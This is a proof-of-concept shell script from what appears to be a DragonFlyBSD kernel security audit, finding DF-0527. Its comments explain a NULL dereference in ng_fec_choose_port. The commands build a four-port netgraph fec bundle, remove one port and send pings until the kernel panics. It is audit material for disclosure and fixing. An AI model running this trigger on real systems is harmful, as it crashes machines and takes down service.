DragonFlyBSD Kernel Audit
DF-0527 / trigger.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0527 trigger: ng_fec_choose_port NULL dereference after port removal.
#
# ng_fec_choose_port() computes:  mask = (fec_ifcnt==2)?0x1:0x3
# so 'port' may be 0..3.  fec_idx is assigned sequentially in addport()
# and is NEVER renumbered when delport() removes a port.  When a 4-port
# bundle loses one member (ifcnt 4 -> 3, mask stays 0x3) the TAILQ_FOREACH
# at :945 looking for the removed index terminates with p == NULL, and
# :956 `if (p->fec_ifstat != 1)` dereferences NULL -> panic.
#
# This PoC requires a WORKING ng_fec node.  On the stock audit kernel,
# ng_fec_constructor panics first (DF-0529), so this must be run on a
# kernel where DF-0529 is fixed (or naturally absent) to demonstrate.
#
# EXPECTED (bug present, on DF-0529-fixed kernel): kernel panic
#   fatal trap 12: page fault while in kernel mode / NULL deref
#   in ng_fec_choose_port
#
# EXPECTED (fixed): no panic; short packets get EINVAL / EAGAIN, guest up.
#
# Run as root.  Uses tap0..tap3 as member interfaces.

set -e
kldload netgraph 2>/dev/null || true
kldload ng_fec  2>/dev/null || true

# create 4 member interfaces
for i in 0 1 2 3; do ifconfig tap$i create 2>/dev/null || true; done
ifconfig tap0 up 2>/dev/null || true
ifconfig tap1 up 2>/dev/null || true
ifconfig tap2 up 2>/dev/null || true
ifconfig tap3 up 2>/dev/null || true

# create an fec node
ngctl mkpeer .: fec lower inet/raw/ip
NODE=  # ngctl names the node after the interface (fec0..)
ngctl list | grep -i fec || true

# add the 4 ports
ngctl msg fec0: addport '"tap0"' 2>/dev/null || true
ngctl msg fec0: addport '"tap1"' 2>/dev/null || true
ngctl msg fec0: addport '"tap2"' 2>/dev/null || true
ngctl msg fec0: addport '"tap3"' 2>/dev/null || true

echo "bundle now has 4 ports; removing tap3 (ifcnt 4->3, mask stays 0x3)"
ngctl msg fec0: delport '"tap3"' 2>/dev/null || true

# bring the fec interface up and inject traffic to force choose_port
ifconfig fec0 up 2>/dev/null || true
echo "sending packets to force ng_fec_choose_port over all hash slots..."
# generate many distinct dst/src IPs so the XOR hash selects index 3
# (the removed port) for ~25% of flows.
for i in $(seq 1 200); do
        # a short probe; any packet routed to fec0 triggers choose_port
        ping -c1 -t1 -S 10.0.0.$((i%250+1)) 10.0.0.255 >/dev/null 2>&1 || true
done
echo "RC=$? (if you see this, the NULL deref did not fire on this run)"